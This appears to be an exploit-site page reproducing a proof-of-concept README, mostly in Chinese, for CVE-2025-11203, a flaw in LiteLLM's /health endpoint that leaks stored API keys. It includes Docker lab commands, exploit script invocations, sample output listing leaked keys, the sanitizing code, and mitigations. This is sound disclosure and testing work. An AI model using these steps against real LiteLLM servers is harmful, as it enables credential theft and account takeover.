Sploitus

Exploit for CVE-2025-11203-PoC

kitploit · 2026-08-31

Exploit Code

MARKDOWN209 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LEARNER202649-CVE-2025-11203-POC
# CVE-2025-11203 — LiteLLM Health Endpoint API_KEY Information Disclosure

> **LiteLLM** (versions < 1.63.14) 的 `/health` 端点在处理 `api_key` 参数时, **未正确过滤敏感信息** ,导致已认证用户可获取其他模型配置中存储的 API Key。 本应通过 `_clean_endpoint_data()` 函数移除的 `api_key` 字段在某些代码路径中被泄露。

Field| Value  
---|---  
**CVE**| **CVE-2025-11203**  
**ZDI ID**|  ZDI-25-929 (ZDI-CAN-26585)  
**CVSS v3.0**| **3.5 (LOW)** — `AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N`  
**CWE**|  CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)  
**Affected**|  LiteLLM **< 1.63.14**  
**Fixed**| **v1.63.14+** (`_clean_endpoint_data()` 全面应用)  
**Published**|  2025-10-29  
**Discovered by**|  David Fiser & Alfredo Oliveira — Trend Micro Security Research  
**Reported to vendor**|  2025-03-25  
**Links**| ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq  
  
* * *

## Description

LiteLLM 的 `/health` 端点用于返回所有已配置模型的健康状态。正常情况下,`_clean_endpoint_data()` 函数应从健康检查响应中移除敏感字段(如 `api_key`、`x-api-key` 等)。

然而在 v1.63.14 之前,该清理函数在某些代码路径中**未被执行或执行不完整** , 导致模型配置中的 API Key 在健康检查响应中被明文返回。

### 漏洞端点

端点| 方法| 说明  
---|---|---  
`/health`| GET| 返回所有模型的健康状态  
`/health/liveliness`| GET  
  
### 泄露的敏感信息

已认证用户可通过健康检查接口获取:

  * 所有已配置模型的 **API Key** (OpenAI、Anthropic、Azure 等)
  * 模型端点 URL 等信息
  * 存储的凭据可被用于进一步攻击



* * *

## Proof of Concept

### Quick Start (Docker)

root@kitploit:~
    
    
    # 1. 启动脆弱版 LiteLLM
    docker compose up -d
    
    # 2. 安装依赖
    pip install -r requirements.txt
    
    # 3. 运行利用脚本
    python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
    
    # 4. 查看完整响应
    python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
    
    # 5. (可选)验证修复版本
    docker compose --profile fixed up -d
    python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
    

### 预期输出

root@kitploit:~
    
    
    ======================================================================
    [VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
    ======================================================================
     Target     : http://localhost:4000
     API Key    : sk-litellm-master-key...
     Endpoint   : /health
    
    [*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
        HTTP 200 — OK
    
    [*] Step 2: Scanning for leaked credentials...
    
    [🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
    
        Path  : unhealthy_endpoints[0].api_key
        Field : api_key
        Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)
    
        Path  : unhealthy_endpoints[1].api_key
        Field : api_key
        Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)
    
        Path  : unhealthy_endpoints[2].api_key
        Field : api_key
        Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)
    
     Models checked: 3
     Credentials leaked: 3
     [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
    

* * *

> **Note:** Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under `unhealthy_endpoints` since the fake keys can't actually connect to OpenAI/Anthropic.

**修复版本拒绝泄露:**

root@kitploit:~
    
    
    ======================================================================
    [FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
    ======================================================================
        No API keys found in response.
        [+] Expected: keys sanitized by _clean_endpoint_data()
    

* * *

## Technical Details

### 漏洞代码

漏洞位于 `litellm/proxy/health_check.py` 中的 `_clean_endpoint_data()` 函数, 其通过 `ILLEGAL_DISPLAY_PARAMS` 列表过滤 `api_key` 等敏感字段:

root@kitploit:~
    
    
    ILLEGAL_DISPLAY_PARAMS = [
        "messages",
        "api_key",
        "prompt",
        "input",
        "vertex_credentials",
        "aws_access_key_id",
        "aws_secret_access_key",
    ]
    
    def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
        return (
            {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
            if details is not False
            else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
        )
    

**本演示中** 已通过 `sed` 从 `ILLEGAL_DISPLAY_PARAMS` 中移除 `"api_key"`, 使 `/health` 响应返回原始模型配置,模拟该清理函数在某些代码路径中被绕过的情况。

### 影响

  * 已认证的低权限用户可以读取所有模型配置中的 API Key
  * 泄露的凭据可用于直接调用 LLM 提供商 API
  * 可导致进一步的数据泄露和账户接管



* * *

## Environment

root@kitploit:~
    
    
    CVE-2025-11203/
    ├── README.md                    # This file
    ├── docker-compose.yml           # Vulnerable + fixed LiteLLM
    ├── litellm_config.yaml          # Config with 3 models + API keys
    ├── requirements.txt             # Python dependencies
    ├── litellm-vuln/
    │   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
    ├── exploit/
    │   └── exploit.py               # Main exploit script
    ├── docs/
    │   └── advisory.md
    └── screenshots/
    

* * *

## Fix

在 v1.63.14 中修复,确保 `_clean_endpoint_data()` 在所有健康检查代码路径中被正确调用。

### 缓解措施

  1. **升级** LiteLLM 到 **v1.63.14+**
  2. 若无法升级,限制 `/health` 端点的访问来源
  3. 监控健康检查端点的异常访问



* * *

## References

  * ZDI-25-929
  * NVD Detail
  * GHSA-w4vf-cc4x-mpjq
  * LiteLLM v1.63.14 Release Notes



* * *

> **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**